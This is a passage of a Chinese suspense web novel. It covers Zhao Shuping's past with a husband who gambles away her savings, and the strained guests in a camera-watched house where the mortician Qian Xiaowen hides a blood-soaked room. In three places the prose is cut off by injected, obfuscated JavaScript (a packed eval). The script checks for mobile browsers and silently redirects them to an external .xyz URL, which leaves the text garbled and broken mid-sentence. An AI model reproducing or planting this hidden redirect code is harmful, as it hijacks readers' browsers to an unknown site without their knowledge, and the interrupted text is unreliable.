然后,她怀孕了。随着肚子越大,风吹日晒的活干不了,以前给人装防护栏,绳子栓柱防护栏,男人在上面拉,她在下面拉,两方使力将防护栏往楼上送。现在她怀孕了,干不了这些了,就找了个工人。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992290|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工人是男人以前学窗户那儿的同工,才干十天就要预支一个月的工资,赵淑萍也预支过工资,知道那种没有钱的苦,再加上这人和她男人熟,就把钱预支给他,结果第二天,人跑了,还卷走了门市里的工具。 赵淑萍恨得肚子疼,只能默默吞,再找了个工人,这个工人老实,但她男人总嫌人家笨,不知道递工具、不知道帮忙,要喊才动。 没办法,又换一个工人。这个工人机灵,机灵得赵淑萍又栽了跟斗。 那是产后。赵淑萍是在小诊所生的孩子,一个儿子,生下来,医生说这孩子有病,最好送大医院去查查。男人和工人来看她,那工人一看,就说这是黄疸,他侄女生下来也这样,治不好,活不过三天就死了。 赵淑萍不信,让男人抱去大医院检查,大医院费用高,男人拿不出钱,问她要钱。她就把银行卡密码告诉他,那里面存了一万多。在那个年代,一万块钱是非常富有的家庭了,去大医院做个检查治个病只要不是特别重大病,都没问题。 结果他男人抱着孩子出去,下午回来说治不好。 赵淑萍不信。第二天,男人去修窗户的时候——她生孩子的这两三个月,她男人出息了,会自己拉活了,每个月能有不少活——她不敢耽搁他干活,于是没告诉他,自己裹了厚衣服,戴上帽子、围巾,在大热天的八月,抱着同样裹得严严实实的孩子去了平城最大的医院。 医生说不算特大病。她问多少钱,医生说几百。 医生说完,看了她一眼,又说:“你抱回家治疗一样,我开点药,你回去照我说的做,半个月就好了。” 他以为她没钱,因为一个还没有出月子的人亲自抱着孩子来看病,确实不像有钱的样子。 几百块钱对现在的赵淑萍来说不算事,比她想象中的便宜多了。她当即把孩子交给医生,医生叫来护士带去治疗房,开了检查单,让她去缴费。 预缴费一千,多退少补。她身上只有三百,得去银行取。输完密码,她告诉柜员要取一千。柜员说:“你这里面没钱了啊。” 赵淑萍不信,每个月她都会往卡里存钱,存了多少,有多少,她心里比谁都清楚——因为这张卡是她赶时髦办的,她把它当眼珠子一样珍藏,绝对没人动过。 她让柜员给她看看。柜员说:“真没了,就剩12.8了。” 赵淑萍疯了,站起身冲柜员大吼,说有,里面有一万多,我记得清清楚楚,我一次也没取过。 保安围来过来,银行里人都看着她。柜员看了她一眼又一眼,最后银行组长来了,让柜员帮她查查。 柜员说:“你每个月月初都存过钱,但每个月也在取啊,有时候取五百,有时候取一千。以前取的少,一两百的取,从五月份开始,取的额度就越来越大了,现在已经取完了。” 炎热的八月,赵淑萍如坠冰窖。浑身冷得发抖。她撑着柜台,站不稳。 银行组长怕她出事,赶紧将银行卡还给她。 赵淑萍拽着银行卡,拼着一口气跑回门市。她男人正弯腰在地上找工具。赵淑萍上去就冲他的背狠狠踢了一脚,男人被踢翻在地上。两人扭打起来,手脚并用,像两条凶狠的毒蛇。赵淑萍咬烂了他一只耳朵,鲜血横流,男人用钳子砸烂了她的嘴,也是鲜血横流。 门口围满了人,过路的,邻里的。没人敢上前劝。 打到后面,赵淑萍精疲力尽,没了力气,蜷在地上哭。男人翻身爬起来跑了。赵淑萍哭着哭着想起还在医院里的儿子,带着满脸的血爬起来,跑去找堂哥借钱。 堂哥只给了她两百块,说虽然她之前给他家添了不少东西,但他也帮她男人找了门手艺,他现在的日子不好过,要一千实在拿不出来。 乡下太远,跨了一个城市,坐大巴要八九个小时,赵淑萍厚着脸去向邻居借,大家一听她借钱,纷纷关了门。谁都知道她今天和她男人打得多凶,跟杀人现场似的。 最后是楼上老奶奶看不过去,借了四百给她。她拿工具去卖了一百块钱,凑了一千,到医院缴了费。医生见她满身血,给她清理伤口,说要缝针,但她实在没钱了,只让医生给她贴一张不要钱的纱布便走了。 回去的路上,她看见她男人和她家工人坐在麻将馆里打牌,一群人围着一张大圆桌炸金花。工人手搭在男人肩膀上,在旁边大声助威喝彩。 男人大笑的嘴脸让她想吐,她蹲在路边,胆汁都吐了出来。 晚上,男人回来照常睡。工人的工资开不起,不知道他怎么说的,工人走了。男人天天早上出门,晚上回来。赵淑萍总能在各家牌馆里看见他那张脸。 门市里的工具越来越少,她男人拿去卖了。 当半个门市搬空的时候,赵淑萍笑疯了,她曾经以为他天天出去是干活,勤快赚钱,结果全他妈把家里钱往牌桌上搬。 不管后面过多少年,赵淑萍都特别后悔,后悔那时候年轻,后悔那个时代的信息差太大,后悔自己没上过学,不懂“离婚”两个字怎么写。 否则,便没有后面那些事。 22. 第 22 章 写完一章,平月饿了。 她从出餐口拿出夜宵,是烤串,凉了,但裹了加热纸。她撕开纸,烤串加热纸接触空气开始加热,不一会儿,房间里想起滋滋的油声。 吃着串,平月偏头看外面的雨。凌晨三点,哗啦啦的雨声映得天地寂寞。 玻璃反照出她的倒映,她一个人坐在窗边,身后是空寂的房间和惨白的顶灯。 不害怕是假的,平月吞下一块牛肉强行将那股害怕压回肚子里去。 就这时,雨幕里的摄像头突兀地闪了一下,在拍摄什么东西。 平月总算知道为什么要在山顶造玻璃房子了,就是方便窥视。 坐在摄像头后面的人,在分分秒秒地监控他们,监控这栋房子里发生的一切。 范明胜是怎么死的,摄像头背后的人知道。他们在这里面发生什么事情,他们也知道,但不干涉。 太有意思了。 她吃完烤串,扔了垃圾,房间里弥漫着一股焦香浓郁的肉味。她去门口拿空气清新剂,转身时,视线扫过门铃,看见走廊对面,余有为正进房间,进得很快,偷偷摸摸,像被人发现。 半夜三点,余有为去了哪里?他的房间里有厨房,厨具一应俱全,不管喝水还是怎么,都用不着去楼下,除非他下楼拿酒。 但他两手空空。 正迷惑时,梁威的房间门开了,他顺着走廊朝楼梯口走来。走到她门口,停了下来,侧头往她这里看,就像他知道她站在门后。 平月的心脏狂跳,她屏住呼吸,寂静的空间里,她听见自己的心跳声响如雷鸣,隔着房门震了出去。 就在她不知道该怎么办时,梁威走了,从楼梯口下了楼。平月仍旧没有动。她抱着清新剂站在门后,听不见他下楼的脚步声,不知道是他没走,还是他走得太轻。 过了很久很久,平月站累了,想回里面去了,还没来得及松口气,梁威又闪了出来,站在她门口。 像鬼一样,突如其来。更像电视里的凶手,总是悄无声息躲在黑暗角落,等待最佳时间猎杀受害者。 隔着门被他盯着,平月的喉咙发干,刚才吃下去的麻辣味往上涌,辣得喉咙刺痛想要咳嗽。辣味直冲鼻腔,呛得人快忍不住了。眼泪都呛了出来,视线迷糊糊地看见门外的梁威低了头,在看地上的什么。 对了,是灯的光,从门缝漏了出去。 梁威知道她没睡。 现在去关,有种此地无银三百两的嫌疑。平月捏住呛人的鼻子,不断吞咽口水将辣味压下去。 梁威总算走了。回了他的房间。 平月狠狠松开手,跑进浴室又咳嗽又吐。吐出来的辣味窜得脑仁疼,她喝了大半杯的热水,才缓了过来。 房子内有净化和循环风,等她从浴室收拾干净出来时,房间里已经没有烤串的味了。 她不敢将清新剂放回门口去,害怕又看见谁突然杵在她门口。 这一晚,她没关灯。躺在床上想事——余有为半夜出门做什么?梁威半夜出门做什么?两个人都是两手空空回,特别是梁威,走路悄无声息,她不知道他是在楼梯口站了半个小时,还是下楼半个小时再上来的。 第二天她是在悦凌凌的尖叫声中惊醒的,应激似的翻身坐起来往门外跑。陈宇南顶着乱糟糟的鸡窝头看见她,又掉头回了房间。平月不懂,拍响了悦凌凌的门。 悦凌凌打开门,一脸悲伤:“还是没早饭!” 陈宇南又出了来,这次头发整整齐齐,悦凌凌登时哭了,冲陈宇南哭:“我交了作业还是没早饭!呜呜……” 一走廊的人看着她。 余有为抽了一根烟,站在走廊对面,说:“再交呗,多大点事。” 悦凌凌:“可是我饿啊。” 余有为:“那就过来吃呗。” 悦凌凌:“还是饿啊……” 哪怕余有为给他们食物吃,那些食材只够他们一天吃一顿,中午吃完,晚上和早上还是饿得慌。 悦凌凌这会就饿得慌慌的。 陈宇南说:“你喝杯咖啡,再做点作业,多交几次试试。” 悦凌凌登时不哭了,开开心心点头:“你去磨咖啡嘛。” 陈宇南问平月:“一起下楼吗?你不下楼,我等会给你端上来。” 悦凌凌努嘴:“人家又没说要喝。” 平月每天起床后会下楼烧热水,陈宇南知道,他也可以给她烧一壶热水提上来。 平月说:“你们先下去吧,我洗漱一下。” 她回了房间,打哈欠流出的生理泪水刺激得眼睛疼——昨晚四点过睡,现在才七点过,完全没睡醒。 洗漱完拿上保温杯下楼,热水正在烧,陈宇南在磨咖啡豆,悦凌凌坐在餐桌前撑着下巴看陈宇南,一脸春心荡漾。 “你下来了。” 陈宇南抬头对平月笑。 “水我烧上了。水壶洗干净了再烧的,你坐着等一会儿。” 悦凌凌脸上的笑登时散了,撇着嘴。 平月站在水池前洗保温杯。陈宇南说:“柜子里有花茶,玫瑰花、贡菊、茉莉、枸杞那些,你要不要泡?” 他从咖啡机那儿走到平月身边,弯腰就想拉开橱柜门给她拿。 悦凌凌撇嘴:“人是没长手还是没长眼,人家要喝不会自己泡?” 陈宇南恨不得把悦凌凌的嘴给缝上,每次他和平月说话,悦凌凌总要横插一嘴,烦死了。 平月说:“不用,谢谢。” 水开了,她提起往保温杯里倒半杯,烫洗保温杯后才装满水。 “我先上去了。” 咖啡机正在出咖啡液,陈宇南想跟也没法跟,只能说:“那你慢点。”眼睁睁看着平月上了楼,心里还算了算一壶水烧开需要多少时间,下回卡着时间点烧,今天烧太快了。 悦凌凌别着嘴,说陈宇南跟条哈巴狗一样,就差把尾巴摇上天了,“人家那么大人了,不知道慢点,要你说?” 咖啡液接完了,陈宇南快速给自己搞了一杯,将剩下的咖啡液盾在桌上,瞪了悦凌凌一眼,“你这么大的人了,要喝咖啡自己做啊!”说完,端着自己那杯咖啡匆匆上了楼。 “喂!” 悦凌凌站起身时,陈宇南已经冲上了二楼。她眼睁睁看见陈宇南路过平月门口时往那里看了看,看见门关得毫不留缝,才大步回自己房间摔上门。 悦凌凌真是气死了。要是她生成男的就好了,也喜欢平月去,看谁抢得过谁! 呸!应该是她长成平月那样就好了! 悦凌凌不知道咖啡怎么做,她就喝过速溶咖啡,还是在学校同桌给她的。咖啡液摆那儿,她瞅了瞅,纠结地从冰箱里拿了一盒酸奶,喝了半盒,撕开盖子,将咖啡液全部倒进去搅一搅。 难喝得要死。到底是自己做的第一杯咖啡,悦凌凌皱着眉又喝了一口,好像变得好喝了。她拿着酸奶咖啡直接去了余有为房间。 余有为坐在窗边抽烟,房间空大,烟味没飘多远便被循环跑了,屋里没什么烟臭。 悦凌凌:“余大哥你烟瘾很重啊。” 余有为:“不抽烟干啥。” 悦凌凌拉了张椅子坐到窗边去,问他:“你一天抽多少啊?” 她坐到了窗边,才看见窗边的桶里装满了烟蒂,重重叠叠像菩萨的头。 她哈了一声:“你抽这么多,不会行李箱里带的全是烟吧?” “哪能。”余有为说,“填申请表嘛,我写了爱抽烟,每天出餐都有一包烟呢。” “这烟比我平时抽的贵着呢,这一趟随随便便都能抽回本了。” 悦凌凌:“还能这样?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996601|160543||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “早知道我写个我爱黄金,他是不是每天都给我出黄金。” “晚上没睡醒?大清早就在想屁吃。” 张情抱着猫走进来。 “关你屁事!” 悦凌凌怒视她。 余有为一看见张情就想起昨天她那张嘴把赵淑萍气成什么样子,悦凌凌这孩子又是暴躁的急性子,感觉支使悦凌凌洗菜去,省得两个人吵起来。 悦凌凌任劳任怨地从出餐口抱出所有的食材,在厨台上打理菜。 没一会儿,平月来了,身后跟着陈宇南。悦凌凌看得心里烦烦的,她就知道,只要她不在,陈宇南就一天到晚像个尾巴似的跟着平月。人家来,他就来。人家走,他就走。没点主见! 折菜的手劲大得很,菜根被狠狠折去大半。 余有为点她:“省着点啊,别浪费啊,掐那么多你咋不干脆全丢了不吃了算了?” 张情在对面吃吃笑她,那落在她身上的眼神轻飘飘的像看透了所有。 悦凌凌涨红了脸,赶紧把折断的菜根捡回来。陈宇南陪在平月身边坐,一直和人说话,问什么以前在哪儿读书呀,读的什么专业呀,平时写的什么类型的小说呀——大家都是刚毕业的年轻人,就喜欢在这些地方找共同点,能有个聊天话题。 可不管问什么说什么,平月都咸咸淡淡。 陈宇南不嫌弃臊得慌,他就觉得是平月不爱说话,于是他就说得多,说自己是哪个学校的,学什么专业,学校里的趣事,生活里的趣事,连他自己家里的趣事都说给平月听——企图用一些糗事博人一笑。 悦凌凌原本气气的,结果听着听着被逗乐了,哈哈大笑起来。 陈宇南扭头瞪她。悦凌凌吐吐舌头,埋头折菜,耳朵依旧竖起来认真听。 可平月平平静静,不太感兴趣的样子。 陈宇南挠挠后脑勺,绞尽脑汁想更有趣的事,想了大半天,脑子跟卡壳似的,心知肚明有,就是雾蒙蒙地卡在脑海深处打捞不出来。 于是房间寂静了,只有放水洗菜的哗哗声。 张情嗤笑:“又不是三岁小孩谈恋爱,你说那些事,人家哪爱听?你看人家像爱听这些事的人吗?” 陈宇南看平月,不管看多少次,不管在哪里看,他看见平月总能联想到被雪覆盖的梅,连香味都是清冷的。 这种女生,确实不会喜欢他说的那些幼稚的事。 张情问:“你爸妈做什么的?” 问这做什么? 陈宇南皱眉。转眼看见张情里面嘲笑,他顿时豁然开朗,张情这是在帮他!想要引起她的注意力,得拿出自己的实力,如果自己没有实力,那就只能靠爹妈的老本了。 陈宇南急忙说:“我妈是国企高管,我爸开了家公司。” 话音一出,悦凌凌菜也不洗了,双眼明亮亮地看过来。 张情笑了,“还是个富二代啊,存款多吧?” 陈宇南看了平月一眼,说:“我自己有个几百万。” 从小到大的红包,父母给的,他写歌赚的,零零碎碎加起来,两百万是有。 “哇!”悦凌凌拉了椅子过来,眼睛雪亮地望着他,“这么有钱?” “哟,一说钱,有些东西闻着味儿就过来了。”张情嬉笑。 悦凌凌就算再单纯也知道张情是在说她见钱眼开,像条狗闻着味就来了。 悦凌凌:“关你屁事!” 眼见气氛又不对了,余有为忙让悦凌凌去看看其他人怎么还没来。很明显地想要悦凌凌支出去。 悦凌凌不开心地去了,刚出门,梁威擦身进来,皮鞋的声音在地毯上发出一点沉闷的声音。 平月回头看了眼,还是他昨晚穿的那双皮鞋。明明走路有声音,他昨晚……是不是一直站在楼梯口盯着她,没下过楼? 23. 第 23 章 梁威走进来,目不斜视地找了个位置坐,没朝平月看一眼,仿佛昨晚站在门口的人不是他。 他越是这样,平月心里越恐惧,越认定他有问题。杀人凶手都是这样,表面平静,内里波涛汹涌。 她打开保温杯喝一口热水,压下心底的紧张。但梁威长得实在太威严,单单看着就吓人。 陈宇南在和她说话,她有点没听清,疑惑地转头。陈宇南说:“你还要热水吗,我帮你烧。” 平月低头,保温杯里没多少水了。 “不用。”她站起身,往门外走。刚出门,就看见悦凌凌跌跌撞撞地跑过来,差点撞到她身上。 平月扶住她,问她怎么了。她说:“刚才有个东西从我脚边跑过去了,好像是老鼠。” 平月狐疑地皱起眉,走廊上的脚步声越来越近,周志和赵淑萍前后过来。 周志来回看两眼,对平月笑:“没老鼠啊。” 悦凌凌越过平月,埋头往屋里进,一副吓死的模样。 她看见的才不是什么老鼠。 余有为让她去叫人,她沿着过去,挨个叫。先叫钱晓文,再叫赵淑萍,最后叫周志。赵淑萍和周志都应了她,只有钱晓文没一声动静。她站在钱晓文门口,叫了好几声。没人应她。 那扇门关着,仔细看又没关拢。一推就开。悦凌凌推开一条缝,又叫了一声,还是没人应。房间里面传来哗啦啦的水声,可能是在洗澡。她就推开门进去了。 钱晓文的门口有一面高大的金属储物柜,将室内遮挡完全。金属柜在白色的灯光下泛着冷光,映着悦凌凌探头的身影,阴森森的。 她绕过储物柜,往室内探头看。 第一眼就看见满床的血,那血浸透了整张床,雪白的床单只有枕头那边还是白色。床单大面积的氧化后的暗红色,少数地方是深红色。 她吓坏了,掉头就想跑,结果转身时又扫见床的对面躺着一具尸体,帘子半遮挡,千疮百孔的腿从帘子后面支出来,脚背完好的皮肤是死人才有的青色。 旁边的推车上挂着暗红的血袋,还有各种工具,工具上有带血的皮肉组织,地上的桶里有好多皮和肉和血。 悦凌凌忍不住“呕”了出来。 就这时,浴室里的水停了,她“呕”的那声在空寂的房间里显得格外响亮。钱晓文立刻问:“谁?!”紧接着,玻璃门被猛力推开撞在墙上。 悦凌凌掉头就跑。 钱晓文裹着浴巾出来,房间里空无一人,满床的血和对面的尸体触目惊心。 她快步走到门口,房间门半开,有人进来过,还看见她房间里的东西了。 钱晓文瞬间脸色煞白。 她将门完全打开,走出去,走廊没人。赵淑萍正巧从隔壁出来,周志也从屋里出来。他们看见她,周志笑着说:“那边准备开饭了。” “知道了,我穿好衣服就过去。”钱晓文点点头,视线从周志脸上掠到赵淑萍脸上。 赵淑萍格外憔悴,她现在的模样比熬夜守范明胜时还憔悴,脸上的皱纹沟壑纵横,满是心事,神态惶惶不安,像经历了恐怖的事。 钱晓文和她门挨门。她从浴室出来的时间完全足够赵淑萍跑回房间,再假装若无其事地出来。 钱晓文问她:“你有什么事吗?” 如果真是赵淑萍进了她房间,对方一定会否认没什么事。因为对方不想她知道她进去过,那跟杀人现场一样的房间。 赵淑萍连眼也不敢抬起来看她,声音沙哑:“没事,没事。”连说了两声。 钱晓文点头,后退一步,关上了门。 她站在门后,从门铃里看周志问赵淑萍发生了什么事。赵淑萍仓皇摇头,那样子像极了在害怕什么事却不敢说。周志不再问,两人一前一后往余有为那边去。 很明显就是赵淑萍了。 她怎么打开的房间? 钱晓文记得是反锁的。 一股烦躁涌上来,钱晓文烦得整个人都开始焦躁、暴怒,看什么都厌烦。她一把扯掉带血的床单扔到地上,床单下面的床垫子更是血淋淋,黑得肮脏。 黑沉的颜色让她想起从自己体内排出去的那团东西,也是这样红得发黑,黏糊糊的一块黏膜。 眼睛不受控制地流出泪水,心里有一团浇不灭的恨意,她以为范明胜死了就不恨了,还是恨,恨让她来这里的那个人,恨不得杀了他们。 下\体痒得难受,像针刺一样,痒到极致就开始发痛。流产让她感染了,她以为会血流不止而死,后来靠大把大把的维生素止了血,现在血不流了,但下面痒得发疼。 有时候痒起来能痒一整晚,睡不安。今早也是被痒醒的。一阵一阵地发痒,脱下来的裤子有一股形容不出的臭。 她病了,病得很严重,急需要医生。 这里没有医生,只有她这个入殓师。 窗外的雨格外的大,大到仿佛一辈子都不会雨停。 钱晓文感到无比烦躁,一烦就情不自禁吞咽口水,越吞越口渴。她想喝水。 找遍整个屋子都没有水,矿泉水瓶空了。 她匆匆套上外套,冲下楼从冰箱里拿出一瓶矿泉水,拧开瓶盖仰头大口大口地灌。 吞咽不及时,水从嘴角流下去。 喝完整整一瓶才解了渴,钱晓文捏扁瓶子,长长舒口气。冰凉的水从喉咙顺进胃里,浑身都是凉爽的,心里那股慌乱不安烦躁也被抚平没了。 她转身找垃圾桶扔水瓶,一转身就看见炉灶前站着一个人,正安静地看着她。 平月。 钱晓文怔了一下。 平月指指厨台拐角,“垃圾桶在那里。” 圆形的垃圾桶乖乖地立在厨台转弯角的地面。钱晓文将空瓶子扔进去。想走,又觉得少了些什么,可看向平月,又不知道说些什么。 其实钱晓文挺想跟她说说话,却无从开口。两个不熟的人站在一起,空气里弥漫的全是尴尬。 钱晓文憋了一句:“楼上快开饭了。” 平月笑得弯起眼,“我知道,刚从上面下来。” 如果她是被雪覆盖的梅,那她眉眼展开时,便是白雪融化,室内璀璨的灯光都在她眉眼间失了色。 钱晓文长了一只好手,再丑再烂的尸体都能在她手里变得漂亮。引她入行的师父总夸她天生就适合干这个,没人比她更适合了——哪有说人家天生适合干尸体的?话不好听,可干他们这一行的人都知道这是最大的夸奖。 那些喜欢将尸体打扮漂漂亮亮再送走的家属们都喜欢点名找她。 哪怕这样,钱晓文也不敢说自己能绘出平月这张脸。 钱晓文说:“你挺适合去娱乐圈,立着当花瓶也赚钱。” 平月:“我喜欢做现在的事。” 钱晓文说:“喜欢挺好,我也喜欢。” 平月:“大多数人都怕尸体。” 钱晓文:“最开始我也怕,尸体味冲,像我们这种有时候家属没法把尸体送来的,我们得去接。有些尸体烂得捡不起来,家属强烈要求拼凑完整。我第一次出现场的时候,把头几天吃的饭都吐出来了。但这个行业钱多,多摸几具尸体就忍下来了。” “现在我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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昨晚悦凌凌敲开他的门问他有没有咖啡,说做作业困了,想喝咖啡醒醒神,她得赶在凌晨三点之前交作业才有早饭。 他带了咖啡液,就让她等等,结果人刚转身,悦凌凌也跟着进来了,然后就在他房间里放下书本,说干脆在这儿一起做,互相监督。那时他正在写歌,戴着耳机,她也不吵,就任由她在那儿写作业了。 现在……陈宇南真是悔死了,只觉得昨晚的自己是个傻逼。悦凌凌这个人的嘴巴大得很,一点鸡毛蒜皮的事都能广而告之。 平月没有看他,安静地吃了一口米饭。 她脸色冷冷的,冰凉凉的。落在陈宇南眼里,像极了生气的人,她在生气。 他喜欢平月,却和悦凌凌大半夜待在房间里,大家都是成年人,谁真相信他们是真写作业还是假写作业? 那些人看他的眼神就说明了一切。 “我、我……”陈宇南想解释,但那些话白泛泛的没点力,谁会信他?一急,说话都结巴了。 正懊恼时,钱晓文来了。 悦凌凌看了她一眼,坐在椅子里,端着碗吃饭。余有为说:“就差你了,睡这么久,昨晚熬夜了啊?” 钱晓文坐到空位上,看向平月。平月迎上她的目光,眼里含着浅浅笑意。 在这群糟糕的人之中,钱晓文知道自己为什么独独想和平月说话了。她和这里的每一个人都不一样,她有分寸,从不干涉别人的事,也不对别人的私事好奇。 24. 第 24 章 “你们喝酒吗?” 张情拔开软木塞,丝丝缕缕的果香味涌出来,其中夹着果酸,蔓延在空中。 周志从橱柜里抱出几个水杯,“来一杯。” 张情倒上,红酒在透明杯子里躺着漂亮的酒色。装了酒的杯子一个挨一个传递下去,放到每个人面前。 悦凌凌立刻摆手:“我不喝,我不喝。” 张情:“无聊的生活不喝酒干嘛?” 悦凌凌其实是有点馋的,但:“要是被我妈知道了,会被打死的。” 张情:“几岁啊还怕妈?天高地远她知道个屁。” 悦凌凌盯着红酒,眼里有新鲜劲,转念想到她妈的样子,立刻缩了缩脖子。 张情看得发笑:“没喝过?” 悦凌凌摇头,“我妈不让我喝这些。她说多喝热水好。” 张情:“那你每天到楼下拿饮料?” 悦凌凌眼神飘忽:“那不一样嘛,酒是酒,饮料是饮料。” 张情:“不都是水?” “她个小孩,不喝就不喝,来来,给我。”余有为夹着筷子,朝悦凌凌伸手。 张情将新倒的一杯递他手里,睨了他一眼,“这杯才是你的。” “你这人……”余有为啧声,“我喝两杯还不成?” 张情:“地下室要多少有多少,爱喝自个儿去拿。” 空气岑寂。 “地下室”三个人让所有人联想到范明胜,大家是去地下室找监控,范明胜是馋地下室的酒,才栽了跟头。那条被割断的腿还在地下室躺着。 周志诧异:“你去地下室拿的?” 张情:“我有病么?” 一楼厨房的酒柜里满是酒,她发疯才去地下室啊。 一人一杯酒倒完。 陈宇南压低声音问平月:“你喝酒吗?不喝放着,等会我帮你喝。” 屋内因为张情的话变得很安静,陈宇南压低的声音被所有人听了去。 张情笑道:“哟,还是个好男人啊。” 对面的悦凌凌用不善的眼神盯着张情。张情嗤声:“盯我做什么,好男人又不是我。” 悦凌凌去看陈宇南。大家都知道昨晚他和她在一起,今天他就当着所有人的面要替平月喝酒。 他和平月什么关系啊要替人家喝酒?她也不喝酒,怎么就不替她喝? 陈宇南全然没顾悦凌凌,只靠近着平月。 张情的视线在悦凌凌、陈宇南、平月之间来回游转,眼里笑意特别明显,就是那种看八卦的笑。悦凌凌懂,她还懂屋里每个人都知道她喜欢陈宇南,偏偏陈宇南最喜欢平月。 他们知道,却不说,就跟张情一样看着,看她丢脸。 悦凌凌心口有气,又酸又气,她个小姑娘都不怕被人知道半夜三更和陈宇南在一起,陈宇南凭什么这样当面让她难堪?气没处发,因为对面的陈宇南连半点眼神都不给她,全心全意只顾着平月。她端起身前的酒杯灌了一大口。 “诶!”余有为冲她扬手,“你慢点喝,别醉我这儿啊。” 悦凌凌放下杯子,杯里的红酒已经去了三分之二,“我不醉!”她瞪着眼珠,眼神有些迷糊了,脸颊酒红。 余有为对张情说:“这下好了,等会还得给她抬回去。” 悦凌凌:“谁让你抬了!我自己会走回去!你别管我,你们……”她抬手绕着桌子指了一整圈,“你们……”她打了一个响亮亮的酒嗝,灌得太猛,刚喝进肚子里的酒又冒了出来,她抿抿嘴吞下,“——都别管我,别跟我妈似的,这也管那也管,吃饭先吃菜还是先喝汤也要管,烦死了。” 张情问她:“那你先喝汤还是先吃菜啊?” 悦凌凌:“关你屁事!” 张情:“怎么不关我事了,你喝的是我的酒呢。” 悦凌凌端起杯子又是一大口,把剩下的三分之一全喝了,空杯子往张情面前一递,说:“我还要喝。” 张情乖乖给她倒,余有为说你别给她喝了。张情一声不吭直接给倒满,满杯。 悦凌凌端过来,杯子在她手里抖得酒水乱洒,水淋淋地浇到菜盘子里,白花花的猪肉被淋成了红色。平月用筷子将那些染红的肉拨到一边,夹下面的凉拌菜吃。 大家还在说酒的事,平月已经吃上了。 张情笑着问平月:“你真不两口啊?你看对面那人,刚才说不喝,现在比谁都喝得多。” 平月说:“我喝热水。” 刚说完,对面的悦凌凌一拍桌子,“热水热水,哪来那么多热水,你爱喝喝,干嘛让陈宇南给你烧?自己没长手不会烧水啊?吃饭也不知道去洗菜……” “你这孩子说什么呢……”旁边的赵淑萍终于抽回了神,拉了拉悦凌凌的手。 “本来就是。”悦凌凌胳膊往后旋,抽出自己的手,“她喝水,要陈宇南去烧,烧了还不成,还要给她提上楼,以前她走不了路,我也给她烧,现在她都能走了,还叫陈宇南。还有——” “你吃饭不去煮饭,吃菜不去洗菜,来了就坐,坐完就走,吃饭要陈宇南去叫你,饭也要人家给你打,你看……奶你看,她夹个菜,陈宇南还得给她挪盘子!” “太过分了!” 她冲平月吼。 “你什么都不干,什么都不做,就知道吃!” 悦凌凌越说越激动,太激动了,赵淑萍拉她,拉不住。余有为说:“大妹子你别说了,别说了……”再说下去一桌子人都给得罪完了。 “为什么不能说?我偏说!”悦凌凌指着平月,“你什么都不干,什么都不做,就知道吃现成!太懒了!” 陈宇南瞪她,悦凌凌装作没看见,继续骂平月:“懒惰!猪都没你懒!” 平月赞同点头:“对。你勤快,你能吃苦。” 悦凌凌得意地冲她昂头,“对啊,这些菜全是我洗的。” 平月说:“以后每一天都辛苦你了。” “必须的……”酒精烧脑子,悦凌凌慢了两拍才反应过来她说什么。钱晓文和张情噗嗤笑出声,其余人也含着笑,只是顾忌她的颜面没有笑出声。 “你、你们……”悦凌凌不可置信扭头,连赵淑萍都在笑,眼睛藏不住的笑意。 见她看向自己,赵淑萍连忙蹙眉,装起严肃来。但悦凌凌看见了,看得非常清楚。 赵淑萍是她最尊敬的奶,大家笑她就算了,为什么连奶也笑她?有什么好笑的?她说的每一句话都是大实话,平月拐着弯骂她,他们凭什么不说平月,还来笑她? 悦凌凌气上心头,一巴掌拍在桌上,桌中央的汤碗震了震,汤水四溅。溅到平月手上,衣袖,衣领,胸口更是浸湿了一圈,油亮亮的在灯下闪光。 “悦凌凌!”陈宇南大声叫她。悦凌凌的脸因为喝太多酒变得通红,看向陈宇南的眼睛也红,不知道是醉酒,还是什么原因,红得像要哭了。陈宇南本来想说什么,现在不敢说了。 最后说:“喝多了就回去休息。” 他探身到桌子对面,拿走了悦凌凌身前的抽纸。悦凌凌的手背也洒了骨头汤,但陈宇南连抽好几张纸,转身递给平月。 平月已经在用纸巾擦衣服了,周志抱着一包抽纸,抽出纸巾用温水浸成半湿给平月用。 陈宇南只好收回手,擦自己身上的汤水。 骨头熬的汤全是油脂,油花浓郁,那是猪油,溅到衣服上擦不干净的。越擦,汤印子越深。陈宇南丢掉纸,懒得擦了。 悦凌凌“哇”地一声哭了,“在家里我妈说我,来这里,你们也说我,你们全都说我,都说我。” 赵淑萍安慰她:“没人说你。” 悦凌凌说:“说了,你们全说了。陈宇南吼我,奶,你也笑我。我就是笨,惹人烦,从小我妈就说我不如别人家的孩子乖,不招人喜欢。她说我出去上班上不好,还没毕业就叫我毕业后考公,我不想考,我想出去上班,同学们都去上班了,我也想去。我妈不同意,非要我考公,说过了应届生这一年,后面就不好考了。” 